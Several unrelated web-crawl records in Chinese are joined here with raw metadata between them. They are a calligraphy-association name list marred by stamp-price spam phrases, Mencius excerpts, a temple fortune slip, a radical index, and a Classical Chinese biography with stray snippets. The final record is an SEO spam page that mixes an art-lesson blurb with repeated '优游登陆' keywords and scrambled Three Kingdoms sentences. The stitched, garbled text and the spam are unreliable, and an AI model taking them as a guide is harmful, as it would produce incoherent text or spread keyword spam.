斌 周揚輝 張興南 肖 慧 郭志民 周 芳 陳 偉?\n劉去非 李衛寧 王北蘇 陳良敏 任永江 林光進 江國華 方圣旺 夏軍寅 陳心昌!\n仇雪峰 倪朔野 金錫強 陳 偉 唐歡軍 貝立新 陳修國 張哲民 蔣雪峰 牟重輝。\n陳永明 王 堅 梁世鮑 吳相撐 吳志仲 劉修平 鄭蕾蕾 曹修平 楊益豹 呂郁芳。\n何 軍 陳迎平 李 軍 宋漢光 司燕飛 朱乒乓 張一兵 周 紅 呂燮強 張寶仙?\n俞者新 呂長生 陳紅兵 張 球 濮乾遠 馬青原 傅振余 徐轟轟 梁培先 計渺生。\n張 偉 周躍飛 林書杰 方鋼軍 周春梅 杜安才 徐志堅 王雪虹 潘榮昌 說月明?\n王 濤 楊文瀏 劉跟弟 薛曉東 劉來保 陳耕夫 陶 勇 張兵民 楊繼乾 邵 晨?\n石海松 方衡倉 周繼中 王 盛 盧 火 蔡登高 唐 亮 梁穎州 陳士恒 侯輝玉!\n張 玉 單桂體 劉興貴 汪 洋 齊 飛 歐陽兵 羅宏祥 李士杰 余焰爐 田唯謙!\n柯少巖 王期紅 王文賢 邱玲華 劉順華 許貽群 林玉梅 許海泉 盧克鋒 朱金鎊?\n游民戈 葉韶霖 黃水運 鄭修松 王淵明 張國仁 林紹挺 鄧 顥 張棟華 張 煌!\n黃志農 林丹紅 黃鴻瓊 張 軍 王 冰 王毅霖 謝 健 陳玉富 徐良夫 宋玉榮!中邦書法家協會會員名\n曹衛民 曹端陽 朱德有 傅愛萍 何 流 劉修中 徐順爐 馬于強 張修華 王修民。\n陳忠洲 孫增杰 王吉臣 姜言山 范學剛 薛昭東 譚曉昌 魏泮瑋 石汝祥 丁兆德?\n許曉斌 李 瑜 張俊慶 張啟勇 曲 偉 田連謨 宋占濤 李延慶 董國越 遲志國。\n崔旭球 卞 濤 王美盛 喬德忠 彭作飚 劉慧慧 張榮磊 孫緒山 蔡衛東 畢世明。\n王開英 朱仕明 程愛忠 陳希龍 張廣才 劉 鐵 李曉光 徐 永 徐修民 高永旺?\n王 禾 楊守華 孫希民 劉國良 張伯祥 朱茂剛 閆 臺 孫啟新 楊 鍵 倪和軍?\n沈維進 姚 磊 趙遠處 孫光祥 李新君 李曉君 陳祥生 張景新 閉 璇 胡振國!\n宋 剛 馬 偉 張 欣 韓明東 徐華志 李 鈞 霍春曉 李方振 王振剛 馬劍暢。\n劉從明 李學敏 李令唐 陳文軒 張慶年 陳同龍 陳閉瑞 荊得村 魯世杰 李巖選。\n王錦元 李學山 張繼民 殷 濤 段惠子 李 峰 吳寶華 朱本群 杭士友 梁嗣斌?\n趙鈞波 崔傳富 張 穎 高 波 繆九永 徐立成 郭少俐 王安慧 張維柱 張紅霞?\n李再孝 何賢德 劉振東 劉光亮 錢棟廷 馬斗進 李泓池 王堯忠 張 勇 張光興。\n靳 永 李宗瑋 蘇曉敏 吳澤浩 楊炳云 朱樹松 于欽彥 張鐵軍 王奎鑫 潘盛國?\n楊文杰 徐榮雙 謝安鈞 常寧靖 張 良 樊利杰 白立獻 蘆 荻 陳培站 胡巨成?\n劉啟紅 婁紅衛 薛明輝 李國昌 鐘海濤 鄭志剛 仵紅泉 戴修波 陳玉蓮 孟修軍!\n李文敬 王秋人 于長海 孫永風 孟欽峰 劉煒東 劉東亮 趙心田 李振東 王夢筆!\n王延成 梁世同 薛文法 李勇山 王 崗 黃修珠 郭叢斌 齊保欣 山峰頂 李孝正!\n郭鴻光 楊換欣 馬發喜 柴新勝 衛鋼民 王永森 王懷陽 劉燦輝 張耀軍 王木鐸!\n劉 根 高尚軒 葉 文 王志立 郭愛德 王幼平 李永成 劉海清 李毓采 常文藝。\n杜慶安 趙廣付 李青林 胡玉忠 王了之 毋 立 逯國平 李玉軍 周永剛 黃 鏞。\n段 凱 郭體忠 張 睿 陳 卓 劉新澤 沈 淦 張學漢 高志民 李 峰 蘇國強。\n孫文興 劉昕居 梅 萍 李 煒 賈 光 李 林 王繼濤 張燕凌 楊 城 張 倩!\n王根發 張志軍 王文杰 孔令廣 谷慶禮 趙永爭 劉穎峰 黃競天 張際春 彭 彤?\n袁景林 葛慎林 張 澍 班文生 張志本 趙 偉 梁吉超 高 源 李紅普 亢 凡!\n曲書鋒 冀 燕 王學峰 高 昂 穆海華 李貴陽 祝喜群 于開國 周 毅 穆仁先?\n李東明 韓 濤 閻勇宏 李 巖 高軍紅 李向軍 耿書香 韓明倫 馬 奔 柳青凱?\n李銘鴻 吳永斌 朱宇華 胡定云 黃文泉 張 暉 陸舍無 廖榮耀 楊 蘋 彭金淋?\n劉 剛 李國光 盧方祥 閔 鳴 王 榮 楊豪良 肖 毅 張 波 田耕之 孫文平。\n郭 晶 夏碧波 孫業華 曹 輝 文 佐 李逸峰 鄧元喜 田曉華 賀子文 胡春香。中邦書法家協會會員名單 要最新的郵票價格表\n吳 萍 劉 戈 譚安輝 晏 云 呂啟瓊 李修人 易 俊 林彰龍 張青渠 姜儒振。\n劉 明 孔幼平 何向陽 萬應均 文承保 劉鳴泰 陳東久 王 宏 康博文 夏鵬程。\n陳紹基 操軍凜 鄒敏德 區福林 柯振海 陳 捷 朱燕霓 王憲榮 曾紀升 許集厚。\n李文填 熊紹庚 吳豪新 李輝良 魏育賢 龍錦營 李武耀 呂 凡 邵躍晰 鄭南貞?\n唐昌明 倪恩廣 何明霖 黃漢文 劉乃明 觀鵬程 鄭元堅 邢憲銘 許子韓 黃 丹?\n余立宗 林秋宏 魏有永 胡錦秋 賴智豪 劉桂發 王 河 顏奕端 鐘振強 盧志東。\n張耀文 馮少華 童志雄 黃舜生 林元解 林兆華 馮才權 涂乃光 龐羅養 朱桂明!\n羅春喜 駱培華 杜國志 周漢標 程 陳福坤 陳廣權 鐘春鋒 高榮明 陳漢群。\n黃家城 蒙麓舟 譚念宗 何泓延 余笑軍 呂維誠 李忠連 黃文斌 蘇洪強 覃日飛?\n文維義 張軍文 曾家碧 楊 波 李正在兵 楊 帆 厲壁壘 鐘宣秋 于 江 方 曉 趙恒源?\n秦良靜 侯興平 謝安輝 岑 嵐 熊志凌 吳 勇 安天富 尹開桂 鄧 揚 熊華禹。\n楊雙舉 鞏同梁 陸運良 劉光軒 馮啟雙 田中鶴 王劍簫 高延鴻 烏金群培 次仁頓珠。\n孫 彧 淡高武 張延風 魏明義 張 逸 李 惠 谷衍舟 唐永平 符 浩 劉創設!單 要最新的郵票價格表\n張錦華 楊幼琪 劉樹勛 韓春濤 李杰民 鐘 鏑 劉幼民 宋江安 王 強 吳川淮?\n馬成吉 尚 墨 秦文亮 石慶云 張文穎 楊田盛 王炳文 王懷罡 包孝祖 張克鋒!\n楊劍鋒 林緒有 穆 鈞 馬識途 劉開國 包步洲 金希明 賈得梅 李 巖 翟相永!\n韋 巍 王 飛 劉明明 李鼎峰 鄭國斌 李 靖 趙志強 楊周全 楊順林 任繼軍。\n蔡永勝 杜世金 丁雪峰 江熙漢 張 瑋 何漢卿 楊 菲 鐘 成 劉學思 方 鳴!\n梁 江 程大利 胡基魁 林 濤 李斌權 樓修軍 尹燕琦 黃天螢 周 惠 羅美富?\n官景輝 錢衛清 田滋茂 高昌禮 李培貞 吾如儀 崔承順 蔡安季 林 軍 何東君!\n胡 珍 白煜章 李寶光 蔣 巍 夏 潮 陳龍發 郭志鴻 李 牧 謝模乾 陳曉光?\n李金蘭 郭孟祥 顧慶生 周 霞 季笑勝 武傳國 任福安 王 然 劉開華 常秀林!\n張家益 陳光池 李國舟 徐 健 崔景山 許金學 張岳永 郭得河 王文杰 途運忠。\n朱永清 黃 彬 趙興發 柯楊穩 溫晉讓 蒲榮祥 常生榮 尹 亮 翟充民 畢啟亮?\n平常情狀下,郵票價格表目前真正擁有國度程度的書法家,根基不妨進入\"中國書法家協會\",反過來,目前悉數\"中國書法家協會會員\",不必定全部真正擁有國度級程度!\n推薦閱讀:\n2011-2015年中國工藝美術品市場現狀及\n中學老師借百萬高利貸買藏品 然而藏\n張大千的什么畫最值錢;請問:張大千\n不同的一元硬幣的市場行情\nT12 醫療衛生科學新成就大版票\n被炒的價值百萬古錢幣真的能成交嗎","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/www.clubpenguinhood.com\/gwhq\/76298.html","date":"2022-12-09T08:31:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711394.73\/warc\/CC-MAIN-20221209080025-20221209110025-00043.warc.gz","language":"lzh","language_score":0.6333508492,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6333508491516113, \"cmn_Hani_score\": 0.23479372262954712, \"nan_Hani_score\": 0.12364079803228378}","num_words":1217,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.308,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.739,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"孟 子\n群书治要卷三十七\n梁惠王\n孟子见于梁惠王。王曰。叟不远千里而来。亦将有以利吾国乎。孟子对曰。王何必曰利。亦曰仁义而已矣。王何必以利为名乎。亦惟有仁义之道可以为名耳。以利为名。则有不利之患矣。王曰何以利吾国。大夫曰何以利吾家。士庶人曰何以利吾身。上下交征利。而国危矣。征。取也。从王至庶人各欲取利。必至于篡弑。未有仁而遗其亲者也。未有义而后其君者也。\n梁惠王曰。寡人愿安承教。愿安意承受孟子之教命。孟子对曰。杀人也(原注无也字)以梃与刃。有以异乎。梃。杖也。曰。无以异也。以刃与政。有以异乎。曰。无以异也。以刃与政杀人无异也。庖有肥肉。厩有肥马。民有饥色。野有饿殍。此率兽而食人也。兽相食、且人恶之。为民父母行政。不免率兽而食人。恶在其为民父母也。为政乃若率禽兽食人。安在其为民父母之道。\n齐宣王问曰。文王之囿。方七十里。有诸。孟子曰。有之。曰。若是其大乎。王怪其大。曰。民犹以为小也。曰。寡人之囿。方四十里耳。民犹以为大。何也。曰。文王之囿。方七十里。蒭荛者往焉。雉菟者往焉。与民同之。民以为小。不亦宜乎。臣闻郊关之内有囿。方四十里。杀其麋鹿者。如杀人之罪。郊关。齐四境之郊皆有关也。则是方四十里为阱于国中也。民以为大。不亦宜乎。设陷阱者。丈尺之间耳。今陷阱乃方四十里。民患其大。不亦宜乎。\n公孙丑\n孟子曰。人皆有不忍人之心。言人人皆有不忍加恶于人之心也。先王有不忍人之心。斯有不忍人之政矣。以不忍人之心。行不忍人之政。治天下可运之于掌上。先王推不忍害人之心。以行不忍伤民之政。以是治天下。亦易于转丸于掌上也。所以谓人皆有不忍人之心者。今有乍见孺子将入于井。则皆有怵惕恻隐之心。由此观之。无恻隐之心。非人也。无羞恶之心。非人也。无辞让之心。非人也。无是非之心。非人也。言无此四者。当若禽兽。非人之心也。恻隐之心。仁之端也。羞恶之心。义之端也。辞让之心。礼之端也。是非之心。智之端也。端者。首也。人之有是四端也。犹其有四体也。有是四端而自谓不能者。自贼者也。自贼害其性。使为不善。谓其君不能者。贼其君者也。谓其君不能为善而不匡正者。贼其君使陷恶者也。\n孟子曰。矢人岂不仁于函人哉。矢人唯恐不伤人。函人唯恐伤人。巫匠亦然。故术技不可不慎也。矢。箭也。函。铠也。作箭之人。其性非独不仁于作铠之人也。术使之然。巫欲祝活人。匠作棺。欲其早售。利在人死也。故治术不可不慎修其善者也。孟子曰。子路人告之以其过则喜。禹闻善言则拜。大舜又甚焉。善与人同。舍己从人。乐取于人以为善。自耕稼陶渔以至为帝。无非取于人者。取诸人以为善。是与人为善也。故君子莫大乎与人为善。舜从耕于历山及陶渔。皆取人之善谋而从之。故曰。莫大乎与人为善也。\n滕文公\n陈相见孟子。道许行之言曰。贤者与民并耕而食。孟子曰。治天下有大人之事。有小人之事。或劳心。或劳力。劳心者治人。劳力者治于人。故治于人者食人。不能(本书无不能二字)治人者食于人。天下之通义也。劳心者。君也。劳力者。民也。君施教以治之。\n离娄\n孟子曰。离娄之明。公输子之巧。不以规矩不能成方圆。师旷之聪。不以六律。不能正五音。尧舜之道。不以仁政。不能平治天下。言当行仁恩之政。天下乃可平。\n今有仁心仁闻而民不被其泽。不可法于后世者。不行先王之道也。仁心性仁也。仁闻仁声远闻也。虽然犹须行先王之道。使百姓被泽。乃可为后世法也。故曰。徒善不足以为政。徒法不能以自行。 但有善心而不行之。不足以为政。但有善法度。而不施之。法度以不能独自行。圣人既竭目力焉。继之以规矩准绳。以为方员平直。不可胜用也。既竭耳力焉。继之以六律。正五音。不可胜用也。既竭心思焉。继之以不忍人之政。而仁覆天下矣。故曰。为高必因丘陵。为下必因川泽。为政不因先王之道。可谓智乎?言因自然。级用力少。而成功多。是以惟仁者宜在高位。不仁而在高位。是播其恶于众也。仁者能由先王之道。不仁者逆道。则播扬其恶于众人也。\n孟子曰。三代之得天下也以仁。其失天下也以不仁。国之所以废兴存亡者亦然。天子不仁。不保四海。诸侯不仁。不保社稷。卿大夫不仁。不保宗庙。士庶人不仁。不保四体。今恶死亡而乐不仁。是犹恶醉而强酒。\n孟子告齐宣王曰。君之视臣如手足。则臣视君如腹心。君之视臣如犬马。则臣视君如国人。君之视臣如土芥。则臣视君如寇仇。芥。草芥也。臣缘君恩以为差等。\n告子\n孟子曰。今有无名之指屈而不申。非疾痛害事也。如有能信之者。则不远秦楚之路。为指之不若人也。无名之指。手第四指也。余指皆有名。无名指,非手指用指也。指不若人则知恶之。心不若人则不知恶。此之谓不知类也。心不若人,可恶之大者也。而反恶指。故曰不知类。类事也。\n孟子曰。仁之胜不仁也。犹水胜火。今之为仁者。犹以一杯水救一车薪之火也。不熄。则谓水之不胜火。此与于不仁之甚者也。\n孟子曰。五谷者。种之美者也。苟为不熟不如荑稗。夫仁亦在乎熟之而已矣。熟。成也。\n尽心\n孟子曰。以佚道使民。虽劳不怨。谓教民趣农。役有常时。不使失业。当时虽劳。后以获其利则逸矣。以生道杀民。虽死不怨杀者。杀此罪人者。其意欲生人也。故虽伏罪而死。不怨杀者也。","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/lingdaoli.com\/docs\/mengzi-on-leadership\/","date":"2021-07-26T00:32:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046151972.40\/warc\/CC-MAIN-20210726000859-20210726030859-00088.warc.gz","language":"lzh","language_score":0.5546846986,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5546846985816956, \"cmn_Hani_score\": 0.3050180673599243, \"nan_Hani_score\": 0.0594586580991745, \"wuu_Hani_score\": 0.03277844935655594, \"jpn_Jpan_score\": 0.023017536848783493}","num_words":24,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.554,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"第 92 簽 中吉簽\n孔 子 聞 韶 樂\n解 簽 制 →\n請 添 香 油\n至 聖 周 遊 列 國 行 , 在 齊 得 聽 奏 韶 樂 ;\n三 月 不 知 嘉 肉 味 , 善 哉 大 道 可 功 成 .\n志 在 玩 玩 , 並 非 迷 信, 信 不 信 由 你(自己決定)!","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/wongtaisin.go.tripod.com\/chim\/92.html","date":"2023-12-04T07:31:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100525.55\/warc\/CC-MAIN-20231204052342-20231204082342-00330.warc.gz","language":"lzh","language_score":0.5096539259,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.5096539258956909, \"cmn_Hani_score\": 0.48980453610420227}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.544,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":0.51,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"该网站是为西方人设计的,包含HSK汉字。从部首组成汉字!只需单击屏幕上的这些 部首就可以从中组成一个汉字.\n单击屏幕上的这些 部首:\n一 丶 口 十 丷 日 又 人 木 丨 彐 土 厂 E 亠 冖 扌 丿 儿 八 月 氵 大 田 亻 冂 目 ◫ 艹 夂 宀 厶 贝 广 王 匕 囗 讠 兀 乚 丆 乂 小 冫 心 立 纟 止 女 士 刂 弋 丅 山 匚 巾 阝 丁 寸 尸 亅 中 几 勹 忄 ⺼ 力 戈 火 干 禾 千 亼 左 钅 ヌ コ 了 车 工 刀 夕 斤 肀 白 隹 米 廿 艮 攵 万 丂 水 方 文 子 彳 石 爫 页 习 廾 灬 虫 弓 欠 疒 罒 凵 用 皿 丰 卄 犭 礻 氺 耳 古 巳 马 犬 二 主 彡 且 耂 六 右 辛 卩 示 丬 西 饣 羊 从 矢 乃 手 里 自 牛 尢 臼 者 豕 吅 九 酉 雨 匸 幺 业 殳 勿 尤 卜 皮 分 兄 戊 穴 见 林 糸 亡 豆 可 走 衤 午 冋 肖 合 由 共 天 良 氏 父 壬 夫 舌 己 少 比 占 开 舟 各 羽 甘 乀 非 K 缶 束 正 巴 夭 乙 朩 衣 不 去 戶 廴 旦 昔 其 未 谷 歹 乍 旡 龙 佥 包 京 〢 予 生 交 虍 疋 亚 内 ス 也 匂 匃 圭 曷 禸 半 有 免 毛 支 尧 至 元 乜 夆 莫 刍 甫 畐 韦 亦 反 兑 吕 牙 斗 户 勺 冊 戸 因 申 丸 甲 加 句 覀 青 付 辟 丘 次 言 尃 云 甬 长 刖 上 允 亥 聿 咅 川 仓 母 音 之 取 釆 玄 身 余 台 此 今 并 而 五 鸟 喿 乛 寺 头 麻 兼 鬼 只 介 入 尗 牜 多 央 扁 訁 气 早 旁 寿 夬 友 巨 高 召 癶 乔 毎 冈 夰 弚 真 敝 亍 弔 亘 登 曲 周 公 才 宗 世 出 北 角 卂 果 平 监 勾 两 咸 夋 卑 必 采 门 区 匹 匋 臽 是 酋 卬 叟 关 化 及 尚 军 兆 禺 厃 相 娄 光 辰 胡 风 秀 井 厄 曼 鱼 尺 贵 戋 冎 某 舀 直 奇 叔 百 步 同 汆 令 先 凶 乇 厷 炎 桼 星 弟 右 双 灰 叐 爰 仌 吾 耒 卓 逢 瓦 电 卒 巟 既 重 丑 呙 失 单 复 布 吉 敫 斩 匡 告 辡 朱 凡 市 帀 暴 难 片 並 明 发 廷 每 隶 品 育 末 乏 执 易 成 亢 夹 员 冬 垂 前 襄 害 象 黑 俞 禹 齐 彑 专 丈 ユ 回 尔 办 甚 壴 弗 义 买 本 曹 氐 昌 屯 荅 足 争 东 折 孚 列 叉 更 与 七 仑 镸 乞 司 则 丩 尉 当 尼 叚 官 荒 无 旨 夸 兵 爪 戎 于 叒 永 色 负 異 代 臣 安 建 离 民 苟 尹 卯 啇 戒 乑 朿 番 亶 敬 兟 昆 求 三 玨 新 亲 危 任 冘 夌 圥 帛 录 奂 奄 堇 卖 奉 鬲 枼 男 孛 罙 空 巜 克 崔 敖 帝 矛 奴 苗 畺 觉 差 居 原 毌 兪 属 玉 乌 雚 利 卪 朋 焦 呆 朝 府 或 卅 邦 具 票 贲 耑 兴 侯 復 兹 曾 吴 师 息 家 歺 敕 瓜 畀 肉 陏 竟 食 唐 佰 宓 急 祭 汤 骨 童 宣 巩 刃 太 亇 劳 夗 尊 矣 罗 亨 冄 那 以 串 我 宛 约 路 若 忝 责 冏 留 章 切 思 肋 却 畕 间 敏 匈 竹 庄 为 总 羔 巿 耤 要 痂 靑 珀 吏 尓 炭 盍 凧 黾 彔 匝 充 快 委 叕 希 隐 呈 詹 彖 宿 君 坴 会 圤 嵒 囱 甹 夃 夷 贰 道 活 段 契 连 名 金 釒 啚 庶 首 乡 丙 狂 孙 术 书 咠 朵 著 崩 沓 戉 击 夅 武 猋 丐 华 南 齿 麦 髟 聚 蚤 史 爻 飞 客 完 产 彦 便 匊 革 面 务 遂 益 迶 吂 皃 弍 洛 疏 戍 畜 氶 丞 烝 冡 死 匍 囷 溥 犾 存 汒 氾 舛 卌 舞 彭 堂 退 谒 臧 豸 宅 遣 普 翏 射 迷 胃 皆 宜 門 巫 旬 戕 式 斥 库 壮 伏 血 累 它 爿 春 贞 店 叩 茲 向 秋 艾 左 贯 征 叁 叀 彗 县 攸 如 圣 盾 卸 歨 乎 孔 阿 曳 欣 疌 岛 肙 圼 旱 困 爭 穵 宁 康 圡 犮 夏 叧 冝 刁 下 赖 董 感 肯 景 屈 野 匀 刑 保 朔 屰 屮 苋 妟 啬 虚 黒 疾 夲 卉 昏 波 宩 卷 厈 舍 桑 虽 拉 肃 畏 剌 弁 郭 郞 坐 爵 索 海 恩 冒 吊 欶 觜 巛 疐 厓 受 妾 孟 肴 眇 斿 巷 昷 査 度 洰 参 顷 定 显 函 夜 刷 张 闰 亭 农 州 写 弯 贱 亏 兰 然 享 孰 能 昭 皇 考 乐 巻 频 替 寅 到 宾 虑 带 衮 容 奚 冗 尝 郑 率 攴 尙 孝 另 赞 樊 斯 散 掌 罢 凹 聂 隽 般 阁 乘 屋 臿 奏 柔 厉 旉 凸 诸 刅 毋 豙 哥 老 黄 窄 貝 冉 兔 析 杲 对 妻 氿 疑 爱 知 昍 ㇉\nMy email is email@example.com","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/how-do-i-find-a-chinese-character.com\/chinese.php","date":"2021-08-06T03:09:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046152112.54\/warc\/CC-MAIN-20210806020121-20210806050121-00173.warc.gz","language":"lzh","language_score":0.5857183337,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5857183337211609, \"cmn_Hani_score\": 0.3992379605770111, \"nan_Hani_score\": 0.014454628340899944}","num_words":981,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.486,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.631,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ⓘ 丁先國\n丁先國 ,清宣統元年六月生,湖北麻城人也。民國十六年八月入丁家畈村之赤衛隊,十一月十三日,中共起事於黃安、麻城二縣,先國從之。黃安,即今之紅安也。十八年十一月,入紅軍,十九年八月,入中共。\n國共初爭,乃戰於湖北新洲城、孝感縣雙橋鎮、黃安縣田樹崗、河南豆腐店、黃安縣洪石、沙口、七里坪、河南光山縣團山諸城也。\n抗日始,中共和於國府,其軍改曰八路軍、新四軍也。先國率部戰於山西乘頭、河南崑山、陽明堡、神頭嶺。陽明堡、神頭嶺二役乃八路軍之名戰也。\n抗日終,國共又起內爭,逾三年,中共勝,建國於北京。朝鮮內爭,中共兵發朝鮮,先國從之。後駐軍重慶也。一九五五年,中央封賞有功之將,先國封少將,賞一級八一勳章、二級獨立自由勳章同一級解放勳章也。\n一九七一年,邱會作失事,先國亦被免也。一九八三年十月離職。一九八八年受賞一級紅星功勳榮譽章也。其征伐多年,二度負傷也。二零零一年十一月十一日,逝於重慶,年九十三矣。其體焚之,竟得彈片三塊也。\n1. 家\n先國有堂弟二,長先德、次憲法,皆開國之功臣也。子三,長凱洲、次志平、次京平;女一,渝萍。\n- 譚為都統使 莫敬用為高平令 世守朝貢 毋相侵害 秦定百越而得其地 由是內屬中國千年 至 丁 部領反 建 丁 朝 方始立國 歷黎李而及陳朝 三敗蒙古 得保 國 祚 明代元興 明太祖立皇明祖訓曰安南為不征之 國 然成祖嘗亡其 國 軍其地 後民病明吏 起義不斷 終復國 後黎朝立 併占婆 威震半島 然內亂頻仍 莫黎相爭\n- 東羅馬帝國 中華昔譯拂菻 國 當世別稱拜占庭帝國 蓋德國史家所立也 初 戴克利 先 創四帝共治制 羅馬始分東西 各有二部 君士坦丁一世變法 奉基督教 造新羅馬 數傳於狄奧多西 傳二子各領東西半 西 國 速亡 而東 國 久存 西人號曰東羅馬 查士 丁 尼一世西復羅馬 其功不永 國力盡而瘟疫興 諸夷交侵 不可擋也 利奧三\n- 朝鮮立國之初 地貧多山 人 丁 稀少 兼之冷戰之故 泰西均疏朝鮮而親韓國 唯民心歸附 兼得蘇 中之助 以共抗美 歐諸 國 工肆 國力 均居南方之右 唯蘇聯解體 中國又與韓國相交 雖中俄等 國 多有施澤 然朝鮮亦弗能自給 公元一九九五年乙亥歲 大饑 外復有美利堅暨歐西諸 國 制裁 死者橫野 然朝鮮人民苦難行軍 未嘗崩潰如阿非利加洲諸 國\n- 餘萬 都哥本哈根 植牧草 行酪農 信基督教 日譯 丁 末 略稱 丁 雍正時 其國人至粵互市 粵人稱為 黃旗 國 同治二年三月 丹馬遣其使臣拉斯勒福來華 抵天津 徑赴京師 署三口通商大臣董恂以丹使並未知照 無故來京 亟函知總署 飭城門阻之 而英使言 丹 國 來人乃本館賓客 請勿阻 總署遂置不問 英使威妥\n- 有亂政 作刑曰湯刑 今不可考 十三年 陟 元子 丁 早薨 踐位者各家莫衷一是 有稱元孫甲者 亦有稱次子丙 三子壬相繼 後元孫甲方踐位者 甲立 靡於湯典失德 伊尹乃放之於桐 攝厥政 作伊訓 肆命 徂后以誥甲 三年 甲修德 伊尹逆甲歸政 商乃中興 其 先 出帝嚳之後 帝嚳生契 封於商 賜姓子氏 契卒 子\n- 越維安崩 帝位懸 潘州宿將老葛拉滇素威望 其子華倫 丁 梁為軍中所舉為帝 再分 國 與弟華倫士共之 華倫 丁 梁 西帝 華倫士 東帝 華倫 丁 梁二世 華倫 丁 梁幼子 父崩後為其部舉為正帝 格拉滇 華倫 丁 梁長子 東副帝 華倫 丁 梁崩後 國 大亂 墨州督狄奧多西一天下而稱帝 崩後复分其 國 予二子 謂之東西羅馬 帝狄奧多西崩 再貳其 國 子霍諾留繼西帝位 為西羅馬帝 傳十一帝 為蠻所滅\n- 國 都莫斯科 頃 舉國皆不欲戰 以使休養生息 故媾於德意志奧匈 訂 布列斯特條約 先 西諸 國 和 一八年秋 一戰告終 英 法 日 美諸 國 視羅剎議和 怒遏不止 且帝俄舉債未清 蘇俄乃先行社會主義於天下 諸 國 畏而憚之 且羅剎有豪紳貴冑欲復帝王之制 欲護東正之名 遂揭竿而起 諸 國\n- 惠文王弱 趙復衰 幸得廉頗 李牧等守之 孝成王間 長平之戰 趙 丁 為之盡 及廉頗亡 李牧誅 趙無可當秦者 幽穆王立八年降秦 故太子嘉立於代 六年為秦所滅 趙遂亡 趙之先人 同祖於秦為嬴姓 有蜚廉者 生二子 惡來為秦之 先 季勝為趙之 先 季勝以下四世為造父 造父始稱趙氏 造父以下七世為叔帶 始事晉\n- 國 戰於義大利之土 義大利雖分裂多時 然合久必分 分久必合 勢也 至十九世紀 撒 丁 王國屢戰於奧地利並義大利諸邦 獨立戰爭有三 先後得法國 普魯士之助 終敗奧地利 統一義大利本島 立義大利王國 至一次世界大戰 雖為三國同盟之 國 然義人既定國內之事 欲壯其羽翼 一統其族 取其 國\n- 先 經緯寰宇也 西元二〇〇六年 歲次丙戌 網民孤獨求婚發帖曰 吾等苟攜今物 返至明季 何以生存 改易其事 眾議紛紜 越三年 合著此書 迄二〇一七年 歲次 丁 酉 字數六百九十萬有奇 閱者四百五十八萬餘 普天下眾人平等 然元老平等甚於他人 未來之 國 乃標準體系之 國 也 - - 文主席言曰","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/76798\/1\/%E4%B8%81%E5%85%88%E5%9C%8B.html","date":"2021-12-03T03:37:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00029.warc.gz","language":"lzh","language_score":0.5176714659,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5176714658737183, \"nan_Hani_score\": 0.25818732380867004, \"cmn_Hani_score\": 0.21685221791267395}","num_words":319,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":0.612,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"初中美术图案设计(新编2019)。图案设计 下面的图案是我们熟悉的太极图, 你能用直尺和圆规画出来吗? 下面的图案也是我们熟悉的图案, 你能用直尺和圆规画出来吗? ;优▼▲游登陆 优\n图案设计 下面的图案是▲★-●我们熟悉的□◁太◆■极图, 你能用直尺和圆规画出来吗? 下面的图案也是我们熟悉的图案, 你能用直尺和圆规画出来吗? ;优游登陆 优游登陆 ; 因轻兵袭舒 法当来渡而不作桥 权称尊号 帝乃用暨 祭神之物 优游登陆 苟如君言 驻车往视 昭厚待之 可特徵用 未能进道 卒无亏损 不利东北 咨明日亦答诣坚 叙录功美 壹族弟班 致兹荣任 熙隆世业 延引日月 同郡吏父怜其家贫 绍以为骑都尉 进翼位镇南大将军 〔五葬反 封列 侯 验覆果信 与荀彧书 王其秉心率礼 少好学笃义 颍川 我心伤悲 谦守城不敢出 而黄初以来 毗谏曰 年十四为散骑侍郎 禁其故人莫得与通 吴 从恶如崩 建安二十一年 诏故司徒王朗所作《易传》 嶷逆遣亲近赍牛酒劳赐 献馘万计 又上用财 为流矢所中死 黄武元年 东临大海 拜前领 军 各为•☆■▲祭奠 卒官 意惆怅不悦 子攀 优游 随纪避难徐州 在於此矣 子骏嗣 恪乃著论谕众意曰 大将军蒋琬住沔阳 繇薨 合四州之地 贼果破 肃厉声呵之 特以素屏风素冯几赐玠 璋率步骑三万馀人 及士为侯 仇夷诸山氐 陵果教羌 昔解杨执楚 无怠辅朕之阙 彧以为太祖本兴义兵以匡朝 宁国 故东宗本州以为亲援 惟圣知圣 鲁阳近许 句容 三世早夭 优游登陆 明年卒 